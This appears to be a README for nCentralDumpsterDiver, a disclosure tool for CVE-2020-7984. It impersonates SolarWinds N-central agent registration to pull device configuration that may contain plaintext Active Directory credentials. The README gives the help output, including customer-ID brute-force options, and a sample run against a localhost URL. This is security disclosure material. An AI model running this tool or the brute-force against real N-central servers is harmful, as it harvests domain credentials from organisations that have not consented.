已发布修复/规避方案,更多信息请参见:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7984
此应用利用 nCentral 代理的 dot net 库来模拟代理注册,并拉取代理/设备配置设置。这些信息可能包含明文形式的 Active Directory 域凭据。该问题已于 2019 年 10 月 10 日报告给 SolarWinds PSIRT([email protected])。在大多数情况下,代理下载 URL 未受保护,任何未经授权的人只要知道客户 ID 即可下载代理软件。一旦获得客户 ID,就可以自行注册并拉取配置。应用会先通过代理下载 URL 测试客户 ID 的可用性,成功后再拉取配置。我们不直接尝试拉取配置,因为该操作超时耗时过长。移除初始检查可能会产生更多结果,因为代理下载可能被阻止,而代理通信则不会。
Harmony 仅用于阻止 nCentral 库保存和创建不需要的 "config" 目录。
nCentralDumpsterDiver 1.0.0.0
Copyright c 2020
ERROR(S):
Required option 'u, url' is missing.
-u, --url Required. URLs to be Processed
-i, --id Customer IDs to try processing, will be excluded from bruteforce
-b, --bruteforce (Default: false) Enable Customer ID BruteForce
--min (Default: 100) Minimum Customer ID to try for bruteforce.
--max (Default: 200) Maximum Customer ID to try for bruteforce.
--help Display this help screen.
--version Display version information.`
C:\Storage\nCentralDumpsterDiver>nCentralDumpsterDiver.exe -u https://nable.localhost.localdomain/ -b
[10:49:00 INF] Processing https://nable.localhost.localdomain/ started
[10:49:00 INF] Starting bruteforce, this will exclude any previously specified customer id(s)

